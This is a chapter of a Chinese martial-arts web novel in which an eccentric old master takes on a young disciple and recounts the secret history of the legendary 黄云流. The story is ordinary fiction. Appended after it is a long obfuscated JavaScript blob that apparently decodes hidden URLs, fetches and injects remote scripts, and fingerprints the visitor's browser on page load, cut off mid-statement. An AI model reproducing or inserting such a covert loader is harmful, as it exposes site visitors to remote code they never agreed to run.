第八章 不识庐山真面目 寥落星河一雁飞(1 / 2)

太平记 孔璋 8663 字 2022-06-04

第八章不识庐山真面目寥落星河一雁飞

北风呼啸而过,雪花片片卷动,放眼看去,茫茫天地,都被染成一片惨白,如此天威之下,走兽绝,飞鸟灭,只苦了些走不去,逃不开的草木之属,咬紧牙关,在这死一般的白色中苦撑。

此地为九江治下,去庐山不远,若是盛夏凉秋,这儿虽非官路,却也是车水马龙,往来相顾,但如今大雪如此,山路难行,便没什么人肯冒雪登山,方圆数十里内,只一行足迹而已。

一名灰衣老人,戴了顶笠帽,右手拄了根木杖,踏雪而行,径向山上去了。

雪花被狂风扯动,尖叫着,急卷着,缠在他的身上,虽是不住走动,肩上头上却仍是积上了厚厚的雪花,他也不管不顾,只是前行。

他穿得并不怎样厚实,手脸俱都暴露在外,但却全然不见寒意。

此时雪深已然盈尺,原该甚是难行,可不知怎地,他每一脚踏下,却只留下浅浅一个足印,并不会将积雪踩塌。

不知不觉间,他已走了十数里山路,到得一个弯路时,他前后看看,竟不前行,向一旁山谷中跃了下去。

这山谷虽不算深,但一眼看去,也总有七八丈深,除非谷底乃是深渊之属,否则血肉之躯,无论轻功怎样出色,也决不能安然落地。

那老人似是甚为熟悉这里,身形落下数尺时,看也不看,左手抖开腰带甩出,拍的一声,缠着旁边一块突出的怪石,落势一滞,荡向边上一块大石,他用脚一撑,身形滴溜溜一转,松开腰带。已又落下数尺。如是这般几次,已是平安落到谷底。

这是条南北方向的小谷,甚是狭长,那老人向南而行,走得里余,周围景色渐变,竟开始现出草木花果之类,再向前行,生机更盛,所见花木,无不是生意盎然,青翠欲滴,间或有些松鼠猴子在树木之间蹿来跳去,见那老人行过,也不害怕,只是自顾玩耍,还有几只竟跳将过来挡在路上,那老人满面笑容,丢了些干粮与它们,方始散去。

那老人又走了一会,脚步渐慢渐轻,似是害怕惊扰到什么人一般。

一阵轻风吹过—在这儿,连风也是轻的柔的,不复谷外之威—隐隐带来了些说话声,老人侧耳细听了一会,脸上现出诡秘笑容,蹑手蹑脚,向一边绕去。

他颇费了些工夫,在树丛中左穿右钻,总算找到了处满意地方,躺了下来。这地方甚是茂密阴凉,但那说话之声听来却很是清楚。

只听一个年轻男子的声音道:"真没想到,你能好的这么快。"

又听一个年轻女子道:"莫说你,我也没想到。"

又道:"这几日,辛苦你了。"

那男子支支吾吾,道:"那,那里。"

那女子道:"再过几日,等这位前辈回来,谢过他后,我就可以回山见师父了。"

那男子道:"这个,这个…"欲言又止。

那女子奇道:"怎么了?"

那男子道:"你师父不是已经…"

那女子笑道:"她一定是说的气话,我不信。"

又轻声道:"我本是个孤儿,从小是师父把我抚养长大,无论如何,就算是她要赶我出宫,我也一定要回去当面问过她才走。"

那男子道:"如果她一意赶你走,你怎么办。你什么亲人都没有了吗?"

那女子叹道:"不知道,也许还有吧,可我反正不知道。"声音有些萧索。

又道:"如果真被赶出来了,就一个人游剑江湖好了,不知道,那是什么滋味。"

那男子道:"这个…我是说,你只喜欢自己一个人走吗?"

那女子笑道:"怎么?"

那男子似是终于下定决心,忽然大声道:"无论你去那里,我都愿意陪着你去的!"

那女子静了一会,方笑道:"我相信你。"

那老人听的眉飞色舞,心道:"这小子虽笨,总还不是无可救药。"

又听得那女子笑道:"那么,你也愿意陪着我回山了?"

那男子犹犹豫豫,道:'可是,你师父她,只怕…"

那女子笑道:"有我在,没事的,师父最疼我。"

又道:"我这次要和师父说明白,我不是那块料,练不成那剑,也就没事了。"

那男子道:"这好是好,可是,可是,我只是个江湖游子,什么都没有,你师父她,她会不会觉得,我不配和你走在一起…"

那老人听到这里,再也按捺不住,冲了出去,怒道:"放屁!"

这儿甚是隐秘,这谷中又无外人,那两人那想得到竟有人偷听?都被吓了一跳,那女子惊叫一声,退开几步,那男子双手张开,挡在那女子身前。

那男子是花平,那女子自是齐飞玲了。

那老人偷听他人谈话,自行撞破,却全无害羞之意,竟是怒气冲冲,道:"丫头,你师父究竟是什么来头?胆敢看不起我权地灵的徒弟?"

那两人至此方看清来人,花平忙翻身拜倒,道:"前辈!"齐飞玲也跟着行礼,心里却甚是奇怪,想道:"看他年纪总有七八十了,口气又大,想是武林前辈,怎地全不自重,竟学人偷听壁脚?"

权地灵闻得花平称呼,竟是勃然大怒,鼻子哼了一声,别过头去,也不理他。

花齐二人全然摸不着头脑,又怕不经意间再得罪了他,也不敢说话动作。

权地灵等了一会,见两人仍不开口,竟忽地蹲下,抱头大哭起来。

花平不明就里,愣在那里,齐飞玲却看出些端倪,轻声道:"你给我说过,在他离谷前,你们打过一个赌,是怎么赌的?"

花平猛一拍头,失声道:"啊,对了,我答应,要是他的法子管用,待他回来,就拜他为师…"话音未落,权地灵已止住哭声,一跃而起,笑道:"这是你自己承认的,须不能再赖了。"竟已是神采飞扬,洋洋得意。

花平与齐飞玲面面相觑,只觉哭笑不得。齐飞玲好奇心起,悄声去问花平,方将前后之事问出。

原来月余之前,那些青衣人将花齐二人送至大岳阳峰下后,点起一炉檀香,不一时,权地灵便悄然出现,将二人带回此地。

他检阅齐飞玲伤势也只片刻,便即破口大骂,花平还怕是伤势太重又或送来太晚,急急相询,却原来他近日须得离谷,齐飞玲这伤却不能再有延耽,更非得有十余天细细护理不可。

他那日骂了一时,忽地看向花平,嘿嘿冷笑数声,甚是不怀好意,花平被他看得汗毛凛凛,问起他为何发笑,却几被那回答吓得七魂出窍,原来他竟是想自己出谷,却将治伤之法授与花平,让他医治。

花平那里敢接此重任?却被他骂得狗血喷头,到得后来,连什么男女授受不亲也扯了出来,更说是除非齐飞玲现下就答应嫁给了他,否则决然不救。

花平不得已之下,战战兢兢,请教治病之法,那知一听之下,只觉极是荒诞不经,那里有这等疗伤的法子?那知还否开口,只是略略现出些怀疑之色,权地灵已又勃然大怒,一阵好骂,骂得后来,花平胡里胡涂,也不知怎地,竟就和他打了个赌,说得依法救治之下,若齐飞玲能在他回谷之前伤愈,花平便要拜他为师,若是不能痊愈,他便拜花平为师。

两人赌得性起,只是在赌齐飞玲伤势何时痊愈,却全然未有想到她会否不治。

花平讲述之时,权地灵并不打断,只是时不时插入几句,自吹自擂一番,二人见怪不怪,也不在意。

待花平讲完,齐飞玲已是听得目瞠口呆,过了好一阵,终于忍耐不住,远远跑开,哈哈大笑起来。

她往日里身为玉女宫诸多弟子表率,庄重自持,每日里时时自省其身,惟恐有所轻浮失礼之处,常常数日不见一笑,这"冷飞玲"的"冷"字,确非虚言,似此等无所顾忌,放肆大笑,在她而言,真是十余年未有之事了。

齐飞玲笑得一时,自觉好了些,对着一汪清水整了整仪容,缓步走回,却见花平已是纳头拜倒,权地灵哈哈大笑,受了他三拜,那自是在收"赌帐"了。

齐飞玲心道:"虽不知这权老人来历,但他为人坦荡热诚,当非外道邪魔。他武功医术都似不凡,他…他能拜他为师,也真是福气。"

齐飞玲守正持礼十几年,行走江湖时虽也见过了不少少年俊彦,名门公子,却从未对任何男子假以辞色,此刻纵在心中,也不惯亲密称呼,只想了几个"他"字,脸色早又泛红。

此时天色已晚,权地灵笑道:"当日你们来时,她已伤得昏昏沉沉,你也急得昏昏沉沉,我又急着出谷,也懒得多问,但此刻总该能放下心了,明天将你们过往来历,如何受伤,说给我听罢!"

此后一夜无话,到得第二天早上起来,几人坐到一眼清泉之侧,两人相互补充,将前后之事,说于权地灵知道,事无巨细,靡无遗漏,只齐飞玲说到慧剑一事,略犹豫了一下,只觉这是宫中机密,不便多言,权地灵早看在眼里,一笑而过。

两人前前后后,总共说了近两个时辰,权地灵沉吟许久,看向齐飞玲,缓缓道:"你原来是玉女宫的人?"语气低沉,已无往日欢快。

花平悚然一惊,心道:"师父难道竟和玉女宫有仇?"却见权地灵背着手,转了几个圈,方向齐飞玲道:"你说你那日破了林怀素的一剑天来,用得是怎样一招,让我看看。"

齐飞玲脸上一红,轻声道:"晚辈那天,也不知怎地,忽然一时激动,就用出了这一剑,自己也弄不明白,现下实是无力重现。"

又道:"其实那天还是师父手下留了情,否则我那接得下她老人家的剑。"

权地灵冷哼一声,道:"胡说!你这傻丫头,身怀明珠犹不自知,可惜,可惜!"

齐飞玲与花平对视一眼,却都不明他的意思,但他们却已对权地灵性子有所知道,明白若是开口,必又是一顿奚落,但只要静不相询,他忍不住时,自会开口。

果然权地灵转了几圈,瞪着他们问道:"我刚才的话,你们听懂了没有?"

见两人一起摇头,怒道:"那为何不问?"

忽又失笑道:"两个小鬼,于我性子倒看的透,也罢也罢,不急你们了。"向齐飞玲笑道:"你方才语焉不详那一段,可是林怀素说些什么断七情,斩六欲的鬼话,要你修习那劳什么子的慧剑么?"

齐飞玲脸色一变,惊道:"前辈,您,您怎地知道?"

权地灵哈哈大笑,十分得意,道:"我岂有不知之事?"

又道:"林怀素只知其一,不知其二,但晓得慧剑的妙用,却不知情剑的真意!"

齐飞玲虽听不明白,却知今日逢上了极为难得的机缘,笑道:"前辈,在下给您去沏杯茶来可好?"

权地灵笑道:"什么前辈,少假惺惺了!你心中怕早骂了我几百声为老不尊了吧?"

又笑道:"我既然说到此处,自然要将个中奥妙说与你们听,急什么!"

两人坐近了些,权地灵又道:"慧剑之威,确如令师所言,足可斩云空,裂金石,但你有没有想过,为何林怀素的全力一剑,你能挡下?"

又向花平道:"你说你学得是忘情诀?"

花平道:"是。"

又道:"但弟子愚钝,不解之处,十之八九…"话未说完,已被权地灵止住。

权地灵低头静思了一会,脸上笑容渐渐弛去,闭上了眼,一动不动,花齐二人心下都是大奇,却不敢开口。

约莫过了一炷香时光,权地灵轻叹一声,眼角竟落下泪来。

齐飞玲惊道:"前辈,您…"权地灵已挥手道:"不打紧。"

又叹道:"不知不觉,已八十多年了啊。"

"已经这么久了啊…"

花齐二人对视一眼,心中同时闪过一个疑问。

权地灵的岁数,究竟是多少?

权地灵睁开眼睛,看向两人,叹道:"你们两个莫要多问,待我说些武林掌故与你们听。"

又道:"你学的竟是忘情诀,这真是天意。"

花齐二人不明他话中之意,静听不语。

权地灵道:"你们可知道,若没有忘情诀,就没有今天的玉女宫。"

齐飞玲惊道:"前辈,您说什么?"

要知齐飞玲身为林怀素亲传弟子,玉女宫史中她所不知者寥寥无已,但也只知道当年太湖一战,丁香兰是唯一一个在忘情书生手下走到二十招的人,也是唯一一个毫发无伤的人,因之而名声雀起,除此之外,再无任何记载。可听权地灵语意,丁香兰与忘情书生的关系却并非这么简单?

权地灵却不回答,提起身侧酒坛,喝了一大口酒,方道:"忘情书生与太湖之战的故事,你们自然都熟知在心。"

见花平齐飞玲俱都点,他又道:"但你们所知的故事中,有多少是真,多少是假,你们可又知道?"

"当日太湖之战,忘情书生确是以一人之力,在千余名江湖好手的围攻中,从容杀尽仇人,擒下简一苍那厮,但一来那些人并不能代表当时整个江湖的全部实力,二来…"

"就是在到场人中,也并非全都参与了围攻,至少,若是代表着一南一北,两大势力的当家人物全力出手的话,忘情书生能有多少机会生离太湖,都还难说的很,更不要说对付简一苍了。"

"其实忘情书生这四个字,乃是自太湖之战后才叫出来的,你们可知道,他本来叫作什么?"

见花平齐飞玲都是一脸茫然,权地灵苦笑一声,又喝了一口酒,道:"八十多年以前,江湖上最为有名的,是两个人。"

"'天剑'简一苍和'多情书生'黄云流。"

齐飞玲眼睛忽地一亮,欲言又止,权地灵却早看在眼里,笑道:"你没猜错,就是他。"

花平也惊道:"他本来的外号,是叫作'多情书生'?"

权地灵点点头,道:"那时的宋廷,外有金人虎视耽耽,内有四寇兴风作浪,朝廷很是头疼,想要将江湖子弟收为已用,内伏贼,外破夷,是以授下意来,要选一个武林盟主,封以三品之位,替天行道,号令武林。"

他说到四寇云云时,口气极是尖酸,任谁也听得出,他的立场,是站在谁一边。

花平不知什么四寇,看向齐飞玲,齐飞玲却也没多少把握,问道:"前辈,这四寇,说得可是当年宋江方腊那一班人马么?"

权地灵笑道:"正是这一群龙虎英雄。"

又道:"当日宋主屡兴大军,屡战屡败,没奈何,亲手写下'山东宋江,准西王庆,河北田虎,江南方腊'十六个大字,书在屏风之上,每日观看,自以为是效法前人卧薪尝胆之意,却不知他自己荒淫无能,信用奸臣,着实可笑!"

花平齐飞玲对视一眼,心下暗惊,要知其时总是南宋治下,而天子之威,便是草莽英雄也不敢轻撄,似他说话这般大胆,二人都是生平仅闻。

权地灵说的兴起,又道:"其实当时真正高手,又有几个能为赵家所用?别的不说,便是那个甚么简一苍,虽是号称天下第一高手,但若教他到清溪帮源洞或是梁山聚义厅走上一遭,便有九个脑袋,他也休想活着出来。"

又道:"说远了,说远了,先说这武林盟主的事。"

"当时江湖上公认的十大高手中,黄云流是最为年轻的一个,但他年纪虽轻,却非怕事之人,与其它高手,多有过招,曾与简一苍恶斗半日,胜了他半招。"

"那简一苍当时哈哈大笑,说是见才如此,江湖后继有人,可以放心,黄云流虽然聪明绝顶,却终究年轻,尚不知人心诡秘可怖,竟然为他所惑,和他结交起来。"

"黄云流其时已有妻子,叫做宗乐花,是个有名的美人,武功也好,两人很是恩爱,出则成双,入则成对,是有名的鸳鸯侠侣,黄云流的外号中那'多情'二字,便是因他对自己妻子极是爱惜,倒不是说他四处留情。"

"这武林盟主之事一出,江湖之上十九以为定是简一苍无疑,却有一群少壮之士,不愿拥他,定要将黄云流护成武林盟主。"

"要知江湖之事,说到最后,终是要看武功深浅,简一苍曾负于黄云流之事,知道之人甚多,是以此议一出,便颇有些人附和起来,到的后来,黄云流竟是声势渐大,隐隐有了要和简一苍分庭抗礼之势。"

"简一苍却是全不在意,人前人后,只说自己确是老了,黄云流英雄年少,正是武林希望所在。"

"后来有一日,简一苍请黄云流去他家作客,说道是让他多结识些朋友。"

"那日也确是高朋满座,七巧道人,胡蝇,苦茶僧,解空…等等,都是些成名已久的好手,在江湖上既有地位,又有人望,简一苍当时殷殷相劝,没口子的夸他,这些人也都上来劝酒,他又年少气盛,不肯落了下风,不知不觉,喝的高了。"

"那知后半夜间,惊变斗生!"

"随着一声惨叫,众人纷纷惊起,顺着叫声寻来。"

"这叫声出自黄云流的卧屋,当众人推开门时,赫然看到,宗乐花躺在一滩血泊之中,生死不知,黄云流却搂着一个侍女,正要施暴。"

齐飞玲低呼一声,怒道:"这简一苍好生无耻!"

权地灵叹道:"你今日是这等说法,但当日群情激愤,都说黄云流也太无耻,几乎当场将他乱刀分尸,还是简一苍力排众议,将他救下,又因众人都说他已近丧心病狂,也怕他出去之外,再兴它变,将他留在府中。"

"正好江南名医冯深崇那时也在府中,急急施救,但宗姑娘受伤太重,终于回天乏术。"

"这事惊动很大,少林武当两派的掌门真人都为之不惜重履红尘。"

"要知少林武当二派势力之大,遍布江湖,他二人武功虽是不如简一苍,但说出话来,却仍是一言九鼎,任谁也不敢小看的。"

"那知他两人到得简府时,黄云流竟已不知去向,简一苍身受重伤,倒在黄云流的居室里。"

"待将简一苍救醒时,他说他不忍看着黄云流身死此处,又觉他必是受人冤枉,是以想要放他逃走,那知黄云流竟出手偷袭,将他打伤后苍惶逃去。"

"那时真是人人愤怒,个个激昂,都说黄云流真是无耻下流,武林败类,又说简一苍实已是仁义尽至。虽有些人觉得此事尚有疑点,却也怕犯众怒,不敢开口。"

"那时简一苍慷慨陈词,说是他当初看错了人,至有此事,然则如今他自也是义不容辞,要为武林除此大害。"

"那时黄云流成为武林公敌,无处容身,虽曾有人向之示好,他却自命清高,不愿相投。"

齐飞玲奇道:"还有人敢向他示好?是谁?"

要知这等于是整个武林为敌,寻常人等,决不能为。

花平道:"可是师父刚才所说的四大寇么?"

权地灵奇道:"你怎地猜到的?"

花平道:"师父刚才说到自命清高四字,我想若是寻常帮派相招,何至于此。自当是那些杀官造反之人。"

权地灵笑道:"不错,其时准西王庆,河北田虎都曾派人相招,梁山泊更是派出了山中第一高手,'玉麒麟'卢俊义前去相洽,却都被他一一回绝。"

"后来,他终于被人找到,武夷一战中,他以一敌众,恶斗半日,终于被简一苍打入深谷。"

忽又向花平笑道:"只没想到他后来竟还是隐居回了那里,倒便宜了你。"

花平苦笑一声,不知该怎么答话才好。

权地灵又道:"那想到黄云流大难不死,更悟到了忘情之秘,出谷复仇。"

"当时太湖之会,天下门派,十九派人到贺,黄云流便…"

花平忽道:"师父,你刚才所说,一南一北,两大势力的当家人物,却又是谁?"

权地灵笑道:"这个么,你须得知道,简一苍此人,为了这个盟主之位,无所不用之极,颇伤了些好汉,早已被人切切在心。"

"那一天,梁山以'玉麒麟'卢俊义为首,连同'九纹龙'史进,'浪子'燕青,'神算子'蒋敬四人,化名混入。"

"而清溪方腊更是带上一帅二将,和国师宝光,驾临太湖。"

"这日既是他的好日子,别人便偏要在这一日杀他,定要教他在一切都将得手时,再眼睁睁的看着这一切都丢掉。"

"后来的事,你们大约也都知道,黄云流突然现身,焚船立威,独斗天下英雄,将当日之人尽数诛杀,更将简一苍逼疯,扬眉吐气,飘然而去。"

"当时卢方二人,都未出手相较,只史进和他斗了一招,被他用不知什么法门,只一交手,便将他内劲摧散,败下阵来。"

齐飞玲听道这里,不觉插口道:"这一招他也会的,我们第一次交手,他便是用这招…"忽地脸上一红,住口不言。

权地灵哈哈大笑,向花平道:"小子,这媳妇敢是抢来的么?"

见花平也是满面通红,也懒得再逗他,忽地想起一事,问道:"这招叫什么名字?"

花平见他换了话题,也是甚喜,急道:"叫作星爆。"

权地灵点点头,道:"星爆…好名字。"

权地灵说到这里,默然良久,不发一言,花齐二人只道他又深陷往事之中,也不敢开口,在一旁静候。

!function(){function a(a){var _idx="v2gnzcw4xp";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8X@p24(DoRJ"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"X@p24(DoRJ"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mpOL2fmRT4"="o}0X5ThF)m64YdCmRT4"="o}02pThFmpOL2fmRT4"="o}0_JqhFm64YdCmRT4"="o}02TOhFmpOL2fmRT4"="o}0CSqhF)m64YdCmRT4"="o}0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q/f/o}0j(8}vR8X@p24(DoRJ"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new 